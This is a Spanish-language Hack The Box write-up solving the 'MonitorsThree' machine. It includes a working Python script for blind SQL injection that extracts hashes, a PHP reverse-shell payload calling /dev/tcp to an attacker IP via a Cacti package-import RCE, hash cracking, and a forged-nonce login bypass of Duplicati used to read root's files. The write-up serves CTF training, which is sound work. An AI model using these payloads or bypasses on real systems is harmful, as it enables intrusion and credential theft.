Table of Contents
Hack The Box: MonitorsThree Writeup
Welcome to my detailed writeup of the medium difficulty machine “MonitorsThree” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.
TCP Enumeration
1rustscan -a 10.129.231.137 --ulimit 5000 -g
210.129.231.137 -> [22,80]
1nmap -p22,80 -sCV 10.129.231.137 -oN allPorts
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-25 21:45 CEST
3Nmap scan report for 10.129.231.137
4Host is up (0.037s latency).
5
6PORT STATE SERVICE VERSION
722/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
8| ssh-hostkey:
9| 256 86:f8:7d:6f:42:91:bb:89:72:91:af:72:f3:01:ff:5b (ECDSA)
10|_ 256 50:f9:ed:8e:73:64:9e:aa:f6:08:95:14:f0:a6:0d:57 (ED25519)
1180/tcp open http nginx 1.18.0 (Ubuntu)
12|_http-server-header: nginx/1.18.0 (Ubuntu)
13|_http-title: Did not follow redirect to http://monitorsthree.htb/
14Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
15
16Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
17Nmap done: 1 IP address (1 host up) scanned in 8.89 seconds
UDP Enumeration
1sudo nmap --top-ports 1500 -sU 10.129.231.137 --min-rate 5000 -n -Pn -oN allPorts
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-25 21:45 CEST
3Nmap scan report for 10.129.231.137
4Host is up (0.037s latency).
5Not shown: 1494 open|filtered udp ports (no-response)
6PORT STATE SERVICE
73052/udp closed apc-3052
816947/udp closed unknown
918830/udp closed unknown
1021524/udp closed unknown
1127538/udp closed unknown
1249396/udp closed unknown
13
14Nmap done: 1 IP address (1 host up) scanned in 0.84 seconds
Del escaneo inicial encontramos el dominio monitorsthree.htb
así que lo añadimos al /etc/hosts
y ya que no hay otro punto de entrada, vamos a enumerar el servicio web.
HTTP Enumeration
whatweb
no nos reporta nada interesante.
1whatweb http://monitorsthree.htb
2http://monitorsthree.htb [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[sales@monitorsthree.htb], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.129.231.137], JQuery, Script, Title[MonitorsThree - Networking Solutions], X-UA-Compatible[IE=edge], nginx[1.18.0]
Esta es la pinta del servicio web.
El único recurso interesante que encontramos es este panel de autenticación en /login.php
Y también el recurso
/forgot_password.php
que nos sirve para enumerar usuarios ya que nos da un error si el usuario no existe pero una respuesta válida si existe.
SQL Injection
Si introducimos una '
vemos que es vulnerable a inyección SQL.
Podemos imaginar que antes de hacer un INSERT
para insertar un token para recuperar la contraseña, se hace un SELECT
para ver si este usuario existe, así que podemos descubrir de esta manera el número de columnas.
Por detrás se tiene 9 columnas en la tabla de usuarios quiero pensar.
Después de estar con sqlmap
un rato, iba demasiado lento, así que voy a scriptear el SQLi.
Si probamos con esta query.
' or username=(select username from users where username like 'z%')-- -
Nos devuelve un mensaje de error, pero si probamos con
' or username=(select username from users where username like 'a%')-- -
Nos devuelve un estado válido.
Como ya sabía que hay un usuario admin
directamente fui a dumpear su hash con este script (comprobé previamente que existía el campo password
).
1import requests
2import string
3
4URL = "http://monitorsthree.htb/forgot_password.php"
5
6def do_request(payload):
7 sqli_payload = "' or username=(select username from users where password like '<REPLACE>%')-- -"
8 r = requests.post(URL, data={'username': sqli_payload.replace("<REPLACE>", payload)})
9 if 'Successfully' in r.text: # Ajusta esto según la respuesta que indique un éxito
10 return True
11 return False
12
13def sqli():
14 characters = string.ascii_uppercase + string.ascii_lowercase + string.digits
15 found = ""
16
17 while True:
18 for char in characters:
19 payload = found + char
20 print(f"Trying payload: {payload}") # Opcional: para ver qué se está probando
21 if do_request(payload):
22 found += char
23 print(f"Found valid sequence: {found}")
24 break
25 else:
26 # Si no encontramos ningún carácter válido, hemos terminado
27 print(f"Final sequence found: {found}")
28 break
29
30if __name__ == "__main__":
31 sqli()
1python3 sqli.py
2....
3Trying payload: C585D01F2EB3E6E1073E92023088A3DD3
4Trying payload: C585D01F2EB3E6E1073E92023088A3DD4
5Trying payload: C585D01F2EB3E6E1073E92023088A3DD5
6Trying payload: C585D01F2EB3E6E1073E92023088A3DD6
7Trying payload: C585D01F2EB3E6E1073E92023088A3DD7
8Trying payload: C585D01F2EB3E6E1073E92023088A3DD8
9Trying payload: C585D01F2EB3E6E1073E92023088A3DD9
10Final sequence found: C585D01F2EB3E6E1073E92023088A3DD
Encontramos este hash que parece MD5
c585d01f2eb3e6e1073e92023088a3dd
No pude crackear este hash, así que ahora me interesa saber cuantos usuarios hay en el sistema.
Vemos que hay 4 usuarios en el sistema.
Modificando el script detectamos que hay un usuario dthompson
1Trying payload: dthompsonz
2Final sequence found: dthompson
Podemos ir jugando con la variable characters
en el script y eventualmente descubrimos los usuarios
1Trying payload: jandersonz
2Final sequence found: janderson
1Trying payload: mwatsont
2Final sequence found: mwatson
La lista de usuarios es:
- admin
- dthompson
- janderson
- mwatson
Podemos modificar el payload del script para ir seleccionando el usuario al que queremos dumpear el hash:
1import requests
2import string
3
4URL = "http://monitorsthree.htb/forgot_password.php"
5
6def do_request(payload):
7 sqli_payload = "' or username=(select username from users where password like '<REPLACE>%' and username = 'dthompson')-- -"
8 r = requests.post(URL, data={'username': sqli_payload.replace("<REPLACE>", payload)})
9 if 'Successfully' in r.text: # Ajusta esto según la respuesta que indique un éxito
10 return True
11 return False
12
13def sqli():
14 characters = string.ascii_lowercase + string.digits
15 #characters = "bcefghikmnlopqrsuvwxyzadjABCDEFGHIJKMNLOPQRSTUVWXYZ1234567890"
16 found = ""
17
18 while True:
19 for char in characters:
20 payload = found + char
21 print(f"Trying payload: {payload}") # Opcional: para ver qué se está probando
22 if do_request(payload):
23 found += char
24 print(f"Found valid sequence: {found}")
25 break
26 else:
27 # Si no encontramos ningún carácter válido, hemos terminado
28 print(f"Final sequence found: {found}")
29 break
30
31if __name__ == "__main__":
32 sqli()
admin -> c585d01f2eb3e6e1073e92023088a3dd dthompson -> 633b683cc128fe244b00f176c8a950f5 janderson -> 1e68b6eb86b45f6d92f8f292428f77ac mwatson -> c585d01f2eb3e6e1073e92023088a3dd
Vemos que admin
y mwatson
tienen el mismo hash MD5.
Utilizando hashes.com no encontramos ninguna credencial para estos hashes.
Quizás se esté utilizando un salt
Enumerating (again)
Fuzzeando encontré un recurso /admin
el cual necesitaba estar con una sesión iniciada.
Fuzzeando por subdominios encontré un subdominio cacti
1wfuzz --hh=13556 -c -w /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -H 'Host: FUZZ.monitorsthree.htb' http://monitorsthree.htb
2
3....
4000000246: 302 0 L 0 W 0 Ch "cacti"
Vemos una instancia de cacti.
En este momento me empecé a volver loco y me di cuenta de un fallo que había cometido…
En el script inicial, el primer hash no es del usuario admin
porque en el payload se me olvidó especificar la clausula WHERE
entonces cogió el primer hash que encontró basándose en los caracteres ordenados por orden alfabético.
1sqli_payload = "' or username=(select username from users where password like '<REPLACE>%')-- -"
Debería haber sido
1sqli_payload = "' or username=(select username from users where password like '<REPLACE>%' and username = 'admin')-- -"
1Trying payload: 31a181c8372e3afc59dab863430610e89
2Final sequence found: 31a181c8372e3afc59dab863430610e8
31a181c8372e3afc59dab863430610e8
es el hash de admin.
¡Ahora tenemos unas credenciales válidas!
¡Y podemos ingresar al Cacti!
RCE in Cacti -> Foothold
Buscando por la versión de Cacti (1.2.26) encontramos que existe una vulnerabilidad de tipo Remote Command Execution
Si nos copiamos el PoC y lo ejecutamos con PHP nos genera un archivo test.xml.gz
Ahora nos dirigimos a Import/Export
-> Import Packages
Subimos este archivo
Y nos dirigimos a la ruta http://cacti.monitorsthree.htb/cacti/resource/test.php
Ahora solo falta modificar el PoC para mandarnos una revshell.
Vamos a probar a ejecutar un comando a nivel de sistema.
Repetimos el proceso..
Modificamos otra vez la variable pero ahora con el siguiente código.
1$filedata = "<?php echo `bash -c 'bash -i >& /dev/tcp/10.10.14.125/443 0>&1'`; ?>"
Y si nos ponemos en escucha con pwncat-cs
por el puerto 443 y repetimos el proceso ganamos acceso al sistema.
User Pivoting
Vemos que existe un usuario marcus
en el sistema.
1(remote) www-data@monitorsthree:/var/www/html/app/admin$ cat /etc/passwd | grep bash
2root:x:0:0:root:/root:/bin/bash
3marcus:x:1000:1000:Marcus:/home/marcus:/bin/bash
Leyendo la documentación de Cacti damos con el archivo que contiene las credenciales para la base de datos, include/config.php
1cat config.php | grep database
2 * Make sure these values reflect your actual database/host/user/password
3$database_type = 'mysql';
4$database_default = 'cacti';
5$database_hostname = 'localhost';
6$database_username = 'cactiuser';
7$database_password = 'cactiuser';
8$database_port = '3306';
9$database_retries = 5;
10$database_ssl = false;
11$database_ssl_key = '';
12$database_ssl_cert = '';
13$database_ssl_ca = '';
14$database_persist = false;
15#$rdatabase_type = 'mysql';
16#$rdatabase_default = 'cacti';
17#$rdatabase_hostname = 'localhost';
18#$rdatabase_username = 'cactiuser';
19#$rdatabase_password = 'cactiuser';
20#$rdatabase_port = '3306';
21#$rdatabase_retries = 5;
22#$rdatabase_ssl = false;
23#$rdatabase_ssl_key = '';
24#$rdatabase_ssl_cert = '';
25#$rdatabase_ssl_ca = '';
26 * Save sessions to a database for load balancing
27 * are defined in lib/database.php
28 * in the database. For valid values, see CACTI_LANGUAGE_HANDLER
Vemos que marcus
tiene una cuenta en la instancia de Cacti.
1MariaDB [cacti]> select * from user_auth where username='marcus';
2+----+----------+--------------------------------------------------------------+-------+-----------+--------------------------+----------------------+-----------------+-----------+-----------+--------------+----------------+------------+---------------+--------------+--------------+------------------------+---------+------------+-----------+------------------+--------+-----------------+----------+-------------+
3| id | username | password | realm | full_name | email_address | must_change_password | password_change | show_tree | show_list | show_preview | graph_settings | login_opts | policy_graphs | policy_trees | policy_hosts | policy_graph_templates | enabled | lastchange | lastlogin | password_history | locked | failed_attempts | lastfail | reset_perms |
4+----+----------+--------------------------------------------------------------+-------+-----------+--------------------------+----------------------+-----------------+-----------+-----------+--------------+----------------+------------+---------------+--------------+--------------+------------------------+---------+------------+-----------+------------------+--------+-----------------+----------+-------------+
5| 4 | marcus | $2y$10$Fq8wGXvlM3Le.5LIzmM9weFs9s6W2i1FLg3yrdNGmkIaxo79IBjtK | 0 | Marcus | marcus@monitorsthree.htb | | on | on | on | on | on | 1 | 1 | 1 | 1 | 1 | on | -1 | -1 | | | 0 | 0 | 1677427318 |
6+----+----------+--------------------------------------------------------------+-------+-----------+--------------------------+----------------------+-----------------+-----------+-----------+--------------+----------------+------------+---------------+--------------+--------------+------------------------+---------+------------+-----------+------------------+--------+-----------------+----------+-------------+
Vemos un hash que probablemente sea bcrypt
, podemos probar a crackearlo con hashcat
ya que este hash no está contemplado en https://hashes.com
1.\hashcat.exe -a 0 -m 3200 .\hash.txt .\rockyou.txt
Y conseguimos crackearla.
$2y$10$Fq8wGXvlM3Le.5LIzmM9weFs9s6W2i1FLg3yrdNGmkIaxo79IBjtK:12345678910
Y podemos migrar al usuario marcus
1(remote) www-data@monitorsthree:/var/www/html/cacti/include$ su marcus
2Password:
3marcus@monitorsthree:/var/www/html/cacti/include$ id
4uid=1000(marcus) gid=1000(marcus) groups=1000(marcus)
Podemos leer la flag de usuario
1marcus@monitorsthree:~$ cat user.txt
245fbfd0ff1402...
Privilege Escalation
Enumerando la máquina no encontré nada excepto un puerto que estaba en escucha que no se vería exteriormente.
1marcus@monitorsthree:~$ netstat -tulnp
2....
3tcp 0 0 127.0.0.1:8200 0.0.0.0:* LISTEN -
También encontré el puerto 33233
pero primero vamos a enumerar el puerto 8200
Podemos hacer Port Forwarding con SSH ya que tenemos acceso (he copiado mi clave pública en /home/marcus/.ssh/authorized_keys
ya que la autenticación solo es posible mediante clave publica-privada)
1ssh -L 8200:127.0.0.1:8200 marcus@monitorsthree.htb
2Last login: Sun Aug 25 19:42:21 2024 from 10.10.14.125
3marcus@monitorsthree:~$
Podemos comprobar que ahora tenemos este puerto abierto en nuestra máquina local.
1nmap -p8200 127.0.0.1
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-25 23:44 CEST
3Nmap scan report for localhost (127.0.0.1)
4Host is up (0.00017s latency).
5
6PORT STATE SERVICE
78200/tcp open trivnet1
8
9Nmap done: 1 IP address (1 host up) scanned in 0.05 seconds
Y vemos una instancia de Duplicati.
Buscando por vulnerabilidades nos encontramos el siguiente post donde podemos construir la contraseña necesaria para iniciar sesión.
Necesitamos saber donde está la instancia de Duplicati, la encontramos en /opt/duplicati
.
1marcus@monitorsthree:/opt$ ls
2backups containerd docker-compose.yml duplicati
Nos descargamos el archivo /opt/duplicati/config/Duplicati-server.sqlite
1(remote) marcus@monitorsthree:/opt/duplicati/config$ ls
2control_dir_v2 CTADPNHLTC.sqlite Duplicati-server.sqlite
3(remote) marcus@monitorsthree:/opt/duplicati/config$
4(remote) marcus@monitorsthree:/opt/duplicati/config$
5(local) pwncat$ download Duplicati-server.sqlite
6Duplicati-server.sqlite ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 90.1/90.1 KB • ? • 0:00:00
7[23:51:20] downloaded 90.11KiB in 0.24 seconds download.py:71
8(local) pwncat$
Lo abrimos con sqlite3
y nos debemos quedar con este información de la tabla Options
1-2||server-passphrase|Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=
2-2||server-passphrase-salt|xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I=
passphrase -> Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho= passphrase-salt -> xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I=
Ambas están codificadas en base64
Ahora siguiendo el post, podemos intentar autenticarnos al Duplicati con cualquier contraseña y con Burp debemos capturar la respuesta, y vemos que el salt
coincide.
Ahora con el passphrase que hemos encontrado en la base de datos, nos dirigimos a CyberChef
El truco es generar un nonce válido gracias a que tenemos la passphrase del Duplicati para poder iniciar sesión.
Después de un rato prueba y error me di cuenta de que en Firefox por alguna razón al interceptar la respuesta donde recibimos el nonce no establecía las cookies correctamente.
Repetimos el proceso
Esta parte la realicé con el navegador que tiene Burpsuite
Ahora teniendo el valor Base64 decodeado + hexadecimal de la passphrase:
159be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a
Podemos volver a repetir el proceso para hacerlo con el navegador de Burpsuite.
Intentamos iniciar sesión con una contraseña cualquiera e interceptamos dicha respuesta de esa petición.
Ahora nos quedamos con el valor del Nonce
Ahora en la consola del navegador, hacemos el proceso de encriptación que se especifica en el post anteriormente mencionado
1var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse('7JHYPh/K0be0EcHa/NP4RYl7vKZMk8/1sp4/QlSnIKA=') + '59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a')).toString(CryptoJS.enc.Base64);
Hemos generado un nonce
válido para poder iniciar sesión: ZazLw2rr2GQpQZXvgyjrfq3EeoBFVGVRMIV0/L4QPXU=
Ahora en Burpsuite, le damos a Forward
Y en esta petición simplemente reemplazamos el valor de password
por el nonce, después debemos URL Encodear este valor seleccionando y pulsando Ctrl + U
Y si le damos a Forward
Detectamos que esta instancia probablemente esté en un contenedor, pero en la ruta /source
esta montada la raíz del sistema de la máquina víctima y además tenemos permisos para acceder a cualquier carpeta.
Ahora vamos a crear un backup, le damos click a Add backup -> Configure a new Backup -> Escribimos un nombre -> Encryption -> None -> Next
Después seleccionamos donde vamos a guardar el backup, creamos un directorio /tmp/root
y seleccionamos este directorio.
Ahora de Source data
seleccionamos el directorio personal de root
que es /source/root
Le damos a Run now
Ahora creamos un directorio en /tmp/root_output
le damos a Restore
y seleccionamos todos los archivos -> Continue
Pick location -> Folder path -> /source/tmp/root_output
(La carpeta que hemos creado)
Y si le damos a continuar vemos lo siguiente.
Ahora si nos dirigimos a /tmp/root_output
vemos que se ha hecho correctamente el backup y podemos ver la flag de root
.
1marcus@monitorsthree:/tmp/root_output$ ls -la
2total 40
3drwxr-xr-x 7 marcus marcus 4096 Aug 25 20:52 .
4drwxrwxrwt 16 root root 4096 Aug 25 20:51 ..
5lrwxrwxrwx 1 root root 9 Aug 25 20:52 .bash_history -> /dev/null
6-rw-r--r-- 1 root root 3106 Oct 15 2021 .bashrc
7drwxr-xr-x 3 root root 4096 Aug 20 14:27 .cache
8drwxr-xr-x 3 root root 4096 Aug 18 08:21 .config
9drwxr-xr-x 3 root root 4096 Aug 16 11:33 .local
10lrwxrwxrwx 1 root root 9 Aug 25 20:52 .mysql_history -> /dev/null
11-rw-r--r-- 1 root root 161 Jul 9 2019 .profile
12drwxr-xr-x 2 root root 4096 May 18 21:39 .ssh
13-rw-r--r-- 1 root root 33 Aug 25 17:42 root.txt
14drwxr-xr-x 3 root root 4096 Aug 25 17:42 scripts
15marcus@monitorsthree:/tmp/root_output$ cat root.txt
16f88e3e0d17a2642...
¡Y ya estaría!
Happy Hacking! 🚀
#HackTheBox #MonitorsThree #Writeup #Cybersecurity #Penetration Testing #CTF #Reverse Shell #Privilege Escalation #RCE #Exploit #Linux #SQL Injection #Cracking Hashes #Python Scripting #Scripting #Abusing Cacti #Information Leakage #User Pivoting #Port Forwarding #Authentication Bypass #Abusing Duplicati